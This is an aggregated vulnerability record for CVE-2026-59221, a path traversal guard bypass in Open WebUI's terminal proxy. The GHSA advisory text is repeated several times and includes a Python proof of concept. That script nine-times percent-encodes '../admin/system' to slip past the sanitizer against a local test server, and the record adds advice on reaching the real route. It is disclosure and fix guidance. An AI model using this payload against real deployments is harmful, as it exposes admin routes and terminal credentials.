{"id":"CVE-2026-59221","aliases":["EUVD-2026-42650","GHSA-frvj-c5qp-xj4w","PYSEC-2026-3597"],"status":"published","title":"open-webui terminal proxy path traversal guard bypass via 9x encoded traversal","description":"Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.6 before 0.10.0, _sanitize_proxy_path in backend/open_webui/routers/terminals.py decoded proxy paths only eight times, allowing a nine-times percent-encoded ../ traversal value to pass normalization checks and be decoded by the upstream terminal server. This issue is fixed in version 0.10.0.","severity":{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00483,"percentile":0.41942,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-918"],"published":"2026-07-09T17:13:36Z","modified":"2026-10-28T02:31:02Z","fixes":[{"ecosystem":"PyPI","package":"open-webui","fixed_in":["0.10.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.9.6"},{"fixed":"0.10.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.9.6"},{"fixed":"0.10.0"}]}],"versions":["0.9.6"]},{"source":"osv","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.9.6"},{"fixed":"0.10.0"}]}],"versions":["0.9.6"]}],"products":[{"vendor":"open-webui","product":"open-webui"},{"vendor":"openwebui","product":"open_webui"}],"references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-frvj-c5qp-xj4w","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/open-webui/open-webui/pull/26050","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/open-webui/open-webui/commit/05098d25a58d03738e01c4e85e8852c3b4ad849c","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/open-webui/open-webui/releases/tag/v0.10.0","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59221","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-frvj-c5qp-xj4w","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59221.json","tags":["advisory"]},{"url":"https://github.com/open-webui/open-webui","tags":["package"]},{"url":"https://pypi.org/project/open-webui","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-59221","title":"open-webui terminal proxy path traversal guard bypass via 9x encoded traversal","description":"Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.6 before 0.10.0, _sanitize_proxy_path in backend/open_webui/routers/terminals.py decoded proxy paths only eight times, allowing a nine-times percent-encoded ../ traversal value to pass normalization checks and be decoded by the upstream terminal server. This issue is fixed in version 0.10.0.","status":"published","published":"2026-07-09T17:13:36.193Z","modified":"2026-07-09T18:09:19.712Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-22","CWE-918"],"updated_at":"2026-11-02T14:19:58.560602Z"}],"euvd":[{"id":"EUVD-2026-42650","description":"Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.6 before 0.10.0, _sanitize_proxy_path in backend/open_webui/routers/terminals.py decoded proxy paths only eight times, allowing a nine-times percent-encoded ../ traversal value to pass normalization checks and be decoded by the upstream terminal server. This issue is fixed in version 0.10.0.","status":"published","published":"2026-07-09T17:13:36Z","modified":"2026-07-09T18:09:19Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T18:20:03.742277Z"}],"ghsa":[{"id":"GHSA-frvj-c5qp-xj4w","title":"open-webui terminal proxy path traversal guard bypass via 9x encoded traversal","description":"AI assistance was used to help inspect the code and prepare this report.\n\n## Summary\n\nThe fix for GHSA-r2wg-2mcr-66rv is incomplete in v0.9.6 and current main. `backend/open_webui/routers/terminals.py` documents `_sanitize_proxy_path()` as decoding until stable, but the implementation stops after 8 `unquote()` passes. A 9x percent-encoded `../...` path parameter remains once-encoded after the loop, passes the `posixpath.normpath()` and `cleaned.startswith('..')` checks, and is forwarded to the configured terminal server. The upstream server then receives a decoded traversal path such as `/base/../admin/system`.\n\n## Impact\n\nA user who has access to an admin-configured terminal connection can bypass the terminal proxy path traversal guard and cause Open WebUI to forward requests with the configured terminal credentials and `X-User-Id` header to paths outside the intended normalized proxy path. For orchestrator-backed terminal connections the same sanitized path is placed under `/p/{policy_id}/{safe_path}`, so the bypass can also target sibling or parent routes after upstream decoding. This is a bypass of the same terminal proxy boundary covered by GHSA-r2wg-2mcr-66rv.\n\nThis does not require adding a malicious terminal server or convincing an administrator to weaken settings. The attacker only needs normal access to an existing configured terminal connection.\n\n## Reproduction\n\nThe following standalone Python script mirrors the current sanitizer and uses a local aiohttp server as the terminal-server canary. It shows that 8x encoding is rejected but 9x encoding is accepted and forwarded as a traversal after the upstream framework decodes the path.\n\n```python\nimport asyncio, posixpath\nfrom urllib.parse import unquote\nfrom aiohttp import web, ClientSession, ClientTimeout\n\ndef sanitize(path):\n    decoded = path\n    for _ in range(8):\n        once = unquote(decoded)\n        if once == decoded:\n            break\n        decoded = once\n    cleaned = posixpath.normpath(decoded).lstrip('/')\n    if cleaned.startswith('..') or cleaned == '.':\n        return None\n    return cleaned\n\ndef enc(s, rounds):\n    out = ''.join(f'%{b:02X}' for b in s.encode())\n    for _ in range(rounds - 1):\n        out = out.replace('%', '%25')\n    return out\n\nasync def main():\n    async def handler(request):\n        return web.json_response({'raw_path': request.raw_path, 'path': request.path})\n    app = web.Application()\n    app.router.add_route('*', '/{tail:.*}', handler)\n    runner = web.AppRunner(app)\n    await runner.setup()\n    site = web.TCPSite(runner, '127.0.0.1', 0)\n    await site.start()\n    port = site._server.sockets[0].getsockname()[1]\n\n    for rounds in (8, 9):\n        safe = sanitize(enc('../admin/system', rounds))\n        print(rounds, safe)\n        if safe:\n            url = f'http://127.0.0.1:{port}/base/{safe}'\n            async with ClientSession(timeout=ClientTimeout(total=10)) as session:\n                async with session.get(url) as response:\n                    print(await response.json())\n    await runner.cleanup()\n\nasyncio.run(main())\n```\n\nObserved output on current main and v0.9.6 sanitizer:\n\n```text\n8 None\n9 %2E%2E%2F%61%64%6D%69%6E%2F%73%79%73%74%65%6D\n{'raw_path': '/base/..%2Fadmin%2Fsystem', 'path': '/base/../admin/system'}\n```\n\nThe 9x encoded path argument is 285 bytes long, so this is not a megabyte-sized or impractical URL. When sent through the real route, account for the ASGI server decoding the HTTP path once before filling the `{path:path}` parameter: an external request can use one additional encoding layer so `_sanitize_proxy_path()` receives the 9x encoded parameter shown above.\n\n## Root Cause / Technical Details\n\n`_sanitize_proxy_path()` in `backend/open_webui/routers/terminals.py` performs this loop:\n\n```python\ndecoded = path\nfor _ in range(8):\n    once = unquote(decoded)\n    if once == decoded:\n        break\n    decoded = once\n```\n\nThe subsequent traversal check is applied only to the value after those 8 iterations. If the input still contains encoded dot and slash bytes after the loop, `posixpath.normpath()` treats them as ordinary characters rather than path separators. The code then builds `target_url = f'{base_url}/{safe_path}'` and sends it with `aiohttp.ClientSession.request()`. The upstream server receives and decodes the forwarded path, turning the accepted `%2E%2E%2F...` into `../...`.\n\nThe same vulnerable sanitizer is present in v0.9.6, the latest release. I verified the v0.9.6 `backend/open_webui/routers/terminals.py` hash matches current main for this file.\n\n## Remediation\n\nDo not rely on a fixed decode-depth cap for a traversal security boundary. Recommended fixes:\n\n1. Decode until stable with a strict input length cap, and reject if the final value still contains encoded dot, slash, or backslash separators.\n2. Reconstruct the allowed relative path from fully decoded segments: split on path separators, reject empty/current/parent segments, then join allowed segments with `/`.\n3. Add regression tests for at least 9x and 10x encoded `../` payloads, including a route-level test that accounts for the ASGI server's initial path decode before the `{path:path}` parameter reaches `_sanitize_proxy_path()`.","status":"published","published":"2026-07-24T21:05:51Z","modified":"2026-07-24T21:05:54Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22","CWE-918"],"updated_at":"2026-11-02T14:40:52.46233Z"}],"nvd":[{"id":"CVE-2026-59221","description":"Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.6 before 0.10.0, _sanitize_proxy_path in backend/open_webui/routers/terminals.py decoded proxy paths only eight times, allowing a nine-times percent-encoded ../ traversal value to pass normalization checks and be decoded by the upstream terminal server. This issue is fixed in version 0.10.0.","status":"published","published":"2026-07-09T18:16:55.613Z","modified":"2026-07-10T02:37:15.007Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-22","CWE-918"],"updated_at":"2026-11-02T14:12:28.4135Z"}],"osv":[{"id":"CVE-2026-59221","title":"open-webui terminal proxy path traversal guard bypass via 9x encoded traversal","description":"Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.6 before 0.10.0, _sanitize_proxy_path in backend/open_webui/routers/terminals.py decoded proxy paths only eight times, allowing a nine-times percent-encoded ../ traversal value to pass normalization checks and be decoded by the upstream terminal server. This issue is fixed in version 0.10.0.","status":"published","published":"2026-07-09T17:13:36.193Z","modified":"2026-10-28T02:31:02.971545413Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22","CWE-918"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"GHSA-frvj-c5qp-xj4w","title":"open-webui terminal proxy path traversal guard bypass via 9x encoded traversal","description":"AI assistance was used to help inspect the code and prepare this report.\n\n## Summary\n\nThe fix for GHSA-r2wg-2mcr-66rv is incomplete in v0.9.6 and current main. `backend/open_webui/routers/terminals.py` documents `_sanitize_proxy_path()` as decoding until stable, but the implementation stops after 8 `unquote()` passes. A 9x percent-encoded `../...` path parameter remains once-encoded after the loop, passes the `posixpath.normpath()` and `cleaned.startswith('..')` checks, and is forwarded to the configured terminal server. The upstream server then receives a decoded traversal path such as `/base/../admin/system`.\n\n## Impact\n\nA user who has access to an admin-configured terminal connection can bypass the terminal proxy path traversal guard and cause Open WebUI to forward requests with the configured terminal credentials and `X-User-Id` header to paths outside the intended normalized proxy path. For orchestrator-backed terminal connections the same sanitized path is placed under `/p/{policy_id}/{safe_path}`, so the bypass can also target sibling or parent routes after upstream decoding. This is a bypass of the same terminal proxy boundary covered by GHSA-r2wg-2mcr-66rv.\n\nThis does not require adding a malicious terminal server or convincing an administrator to weaken settings. The attacker only needs normal access to an existing configured terminal connection.\n\n## Reproduction\n\nThe following standalone Python script mirrors the current sanitizer and uses a local aiohttp server as the terminal-server canary. It shows that 8x encoding is rejected but 9x encoding is accepted and forwarded as a traversal after the upstream framework decodes the path.\n\n```python\nimport asyncio, posixpath\nfrom urllib.parse import unquote\nfrom aiohttp import web, ClientSession, ClientTimeout\n\ndef sanitize(path):\n    decoded = path\n    for _ in range(8):\n        once = unquote(decoded)\n        if once == decoded:\n            break\n        decoded = once\n    cleaned = posixpath.normpath(decoded).lstrip('/')\n    if cleaned.startswith('..') or cleaned == '.':\n        return None\n    return cleaned\n\ndef enc(s, rounds):\n    out = ''.join(f'%{b:02X}' for b in s.encode())\n    for _ in range(rounds - 1):\n        out = out.replace('%', '%25')\n    return out\n\nasync def main():\n    async def handler(request):\n        return web.json_response({'raw_path': request.raw_path, 'path': request.path})\n    app = web.Application()\n    app.router.add_route('*', '/{tail:.*}', handler)\n    runner = web.AppRunner(app)\n    await runner.setup()\n    site = web.TCPSite(runner, '127.0.0.1', 0)\n    await site.start()\n    port = site._server.sockets[0].getsockname()[1]\n\n    for rounds in (8, 9):\n        safe = sanitize(enc('../admin/system', rounds))\n        print(rounds, safe)\n        if safe:\n            url = f'http://127.0.0.1:{port}/base/{safe}'\n            async with ClientSession(timeout=ClientTimeout(total=10)) as session:\n                async with session.get(url) as response:\n                    print(await response.json())\n    await runner.cleanup()\n\nasyncio.run(main())\n```\n\nObserved output on current main and v0.9.6 sanitizer:\n\n```text\n8 None\n9 %2E%2E%2F%61%64%6D%69%6E%2F%73%79%73%74%65%6D\n{'raw_path': '/base/..%2Fadmin%2Fsystem', 'path': '/base/../admin/system'}\n```\n\nThe 9x encoded path argument is 285 bytes long, so this is not a megabyte-sized or impractical URL. When sent through the real route, account for the ASGI server decoding the HTTP path once before filling the `{path:path}` parameter: an external request can use one additional encoding layer so `_sanitize_proxy_path()` receives the 9x encoded parameter shown above.\n\n## Root Cause / Technical Details\n\n`_sanitize_proxy_path()` in `backend/open_webui/routers/terminals.py` performs this loop:\n\n```python\ndecoded = path\nfor _ in range(8):\n    once = unquote(decoded)\n    if once == decoded:\n        break\n    decoded = once\n```\n\nThe subsequent traversal check is applied only to the value after those 8 iterations. If the input still contains encoded dot and slash bytes after the loop, `posixpath.normpath()` treats them as ordinary characters rather than path separators. The code then builds `target_url = f'{base_url}/{safe_path}'` and sends it with `aiohttp.ClientSession.request()`. The upstream server receives and decodes the forwarded path, turning the accepted `%2E%2E%2F...` into `../...`.\n\nThe same vulnerable sanitizer is present in v0.9.6, the latest release. I verified the v0.9.6 `backend/open_webui/routers/terminals.py` hash matches current main for this file.\n\n## Remediation\n\nDo not rely on a fixed decode-depth cap for a traversal security boundary. Recommended fixes:\n\n1. Decode until stable with a strict input length cap, and reject if the final value still contains encoded dot, slash, or backslash separators.\n2. Reconstruct the allowed relative path from fully decoded segments: split on path separators, reject empty/current/parent segments, then join allowed segments with `/`.\n3. Add regression tests for at least 9x and 10x encoded `../` payloads, including a route-level test that accounts for the ASGI server's initial path decode before the `{path:path}` parameter reaches `_sanitize_proxy_path()`.","status":"published","published":"2026-07-24T21:05:51Z","modified":"2026-08-04T14:40:44.875181031Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22","CWE-918"],"updated_at":"2026-11-02T15:46:46.760785Z"},{"id":"PYSEC-2026-3597","title":"open-webui terminal proxy path traversal guard bypass via 9x encoded traversal","description":"AI assistance was used to help inspect the code and prepare this report.\n\n## Summary\n\nThe fix for GHSA-r2wg-2mcr-66rv is incomplete in v0.9.6 and current main. `backend/open_webui/routers/terminals.py` documents `_sanitize_proxy_path()` as decoding until stable, but the implementation stops after 8 `unquote()` passes. A 9x percent-encoded `../...` path parameter remains once-encoded after the loop, passes the `posixpath.normpath()` and `cleaned.startswith('..')` checks, and is forwarded to the configured terminal server. The upstream server then receives a decoded traversal path such as `/base/../admin/system`.\n\n## Impact\n\nA user who has access to an admin-configured terminal connection can bypass the terminal proxy path traversal guard and cause Open WebUI to forward requests with the configured terminal credentials and `X-User-Id` header to paths outside the intended normalized proxy path. For orchestrator-backed terminal connections the same sanitized path is placed under `/p/{policy_id}/{safe_path}`, so the bypass can also target sibling or parent routes after upstream decoding. This is a bypass of the same terminal proxy boundary covered by GHSA-r2wg-2mcr-66rv.\n\nThis does not require adding a malicious terminal server or convincing an administrator to weaken settings. The attacker only needs normal access to an existing configured terminal connection.\n\n## Reproduction\n\nThe following standalone Python script mirrors the current sanitizer and uses a local aiohttp server as the terminal-server canary. It shows that 8x encoding is rejected but 9x encoding is accepted and forwarded as a traversal after the upstream framework decodes the path.\n\n```python\nimport asyncio, posixpath\nfrom urllib.parse import unquote\nfrom aiohttp import web, ClientSession, ClientTimeout\n\ndef sanitize(path):\n    decoded = path\n    for _ in range(8):\n        once = unquote(decoded)\n        if once == decoded:\n            break\n        decoded = once\n    cleaned = posixpath.normpath(decoded).lstrip('/')\n    if cleaned.startswith('..') or cleaned == '.':\n        return None\n    return cleaned\n\ndef enc(s, rounds):\n    out = ''.join(f'%{b:02X}' for b in s.encode())\n    for _ in range(rounds - 1):\n        out = out.replace('%', '%25')\n    return out\n\nasync def main():\n    async def handler(request):\n        return web.json_response({'raw_path': request.raw_path, 'path': request.path})\n    app = web.Application()\n    app.router.add_route('*', '/{tail:.*}', handler)\n    runner = web.AppRunner(app)\n    await runner.setup()\n    site = web.TCPSite(runner, '127.0.0.1', 0)\n    await site.start()\n    port = site._server.sockets[0].getsockname()[1]\n\n    for rounds in (8, 9):\n        safe = sanitize(enc('../admin/system', rounds))\n        print(rounds, safe)\n        if safe:\n            url = f'http://127.0.0.1:{port}/base/{safe}'\n            async with ClientSession(timeout=ClientTimeout(total=10)) as session:\n                async with session.get(url) as response:\n                    print(await response.json())\n    await runner.cleanup()\n\nasyncio.run(main())\n```\n\nObserved output on current main and v0.9.6 sanitizer:\n\n```text\n8 None\n9 %2E%2E%2F%61%64%6D%69%6E%2F%73%79%73%74%65%6D\n{'raw_path': '/base/..%2Fadmin%2Fsystem', 'path': '/base/../admin/system'}\n```\n\nThe 9x encoded path argument is 285 bytes long, so this is not a megabyte-sized or impractical URL. When sent through the real route, account for the ASGI server decoding the HTTP path once before filling the `{path:path}` parameter: an external request can use one additional encoding layer so `_sanitize_proxy_path()` receives the 9x encoded parameter shown above.\n\n## Root Cause / Technical Details\n\n`_sanitize_proxy_path()` in `backend/open_webui/routers/terminals.py` performs this loop:\n\n```python\ndecoded = path\nfor _ in range(8):\n    once = unquote(decoded)\n    if once == decoded:\n        break\n    decoded = once\n```\n\nThe subsequent traversal check is applied only to the value after those 8 iterations. If the input still contains encoded dot and slash bytes after the loop, `posixpath.normpath()` treats them as ordinary characters rather than path separators. The code then builds `target_url = f'{base_url}/{safe_path}'` and sends it with `aiohttp.ClientSession.request()`. The upstream server receives and decodes the forwarded path, turning the accepted `%2E%2E%2F...` into `../...`.\n\nThe same vulnerable sanitizer is present in v0.9.6, the latest release. I verified the v0.9.6 `backend/open_webui/routers/terminals.py` hash matches current main for this file.\n\n## Remediation\n\nDo not rely on a fixed decode-depth cap for a traversal security boundary. Recommended fixes:\n\n1. Decode until stable with a strict input length cap, and reject if the final value still contains encoded dot, slash, or backslash separators.\n2. Reconstruct the allowed relative path from fully decoded segments: split on path separators, reject empty/current/parent segments, then join allowed segments with `/`.\n3. Add regression tests for at least 9x and 10x encoded `../` payloads, including a route-level test that accounts for the ASGI server's initial path decode before the `{path:path}` parameter reaches `_sanitize_proxy_path()`.","status":"published","published":"2026-08-04T11:34:43.47059Z","modified":"2026-08-04T14:30:28.719657938Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:56.847083Z"}]}}
